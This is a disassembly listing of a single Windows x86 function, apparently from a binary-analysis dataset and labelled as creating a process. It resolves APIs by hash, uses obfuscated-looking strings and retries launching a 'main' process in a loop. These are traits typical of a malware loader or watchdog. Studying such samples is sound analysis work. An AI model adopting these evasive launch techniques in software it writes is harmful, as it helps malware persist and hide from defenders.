Function at 0x408d50
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b08b
mov eax, dword fs:[0]
push eax
sub esp, 0x84
mov eax, dword [0x434a20]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov dword [ebp - 0x70], 0
mov eax, dword [ebp + 8]
push eax
push 1
push str.Shlwapi.dll
push 0x48c838b4
call fcn.004025a0
add esp, 0x10
test eax, eax
jne 0x408ddd
push str.main_was_killed
push 0x4368e4
call fcn.0040dd00
add esp, 8
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x80], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0040ed50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0040ed50
mov eax, dword [ebp - 0x80]
jmp 0x408fca
lea edx, [ebp + 0xc]
push edx
push 0x42caec
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x84]
push ecx
call fcn.0040e750
add esp, 0xc
mov dword [ebp - 0x8c], eax
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x90], edx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x90]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.0040e6a0
add esp, 0xc
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x84]
call fcn.0040ed50
mov dword [ebp - 0x6c], 0x44
push 0x40
push 0
lea edx, [ebp - 0x68]
push edx
call fcn.004193c0
add esp, 0xc
push str.xBROd_6:_7_1j
call fcn.00407e80
add esp, 4
mov dword [ebp - 0x40], 1
mov word [ebp - 0x3c], 0
mov dword [ebp - 0x74], 0
jmp 0x408e74
mov eax, dword [ebp - 0x74]
add eax, 1
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 5
jge 0x408f94
mov ecx, dword [ebp - 0x74]
and ecx, 0x80000001
jns 0x408e8e
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x408eb8
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push 0
push 0
push 6
push str.Shell32.dll
push 0xe61c1b92
call fcn.004025a0
add esp, 0x24
jmp 0x408efa
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x6c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10]
call fcn.0040edf0
push eax
lea ecx, [ebp - 0x10]
call fcn.0040eda0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push str.ZQC_flkGIRV0JGP_Y
push 0x70
push 0xf6
call fcn.00407380
add esp, 0xc
mov dword [ebp - 0x7c], 0
jmp 0x408f0c
mov eax, dword [ebp - 0x7c]
add eax, 1
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xa
jge 0x408f1f
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408f03
push 0x43620c
call fcn.0040e540
add esp, 4
cmp eax, 1
jne 0x408f3a
mov dword [ebp - 0x70], 1
jmp 0x408f94
lea ecx, [ebp - 0x78]
call fcn.0040ec90
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x74]
push ecx
push str.error_launch_main_for__d_try
lea edx, [ebp - 0x78]
push edx
call fcn.0040f760
add esp, 0xc
lea ecx, [ebp - 0x78]
call fcn.0040e800
push eax
push 0x4368e4
call fcn.0040dd00
add esp, 8
push str._QWr:p8VPeUW3Ty
push str._TUOgFKEYyxIRP9j_1
call fcn.00407e80
add esp, 8
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x78]
call fcn.0040ed50
jmp 0x408e6b
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x88], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10]
call fcn.0040ed50
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0040ed50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0040ed50
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret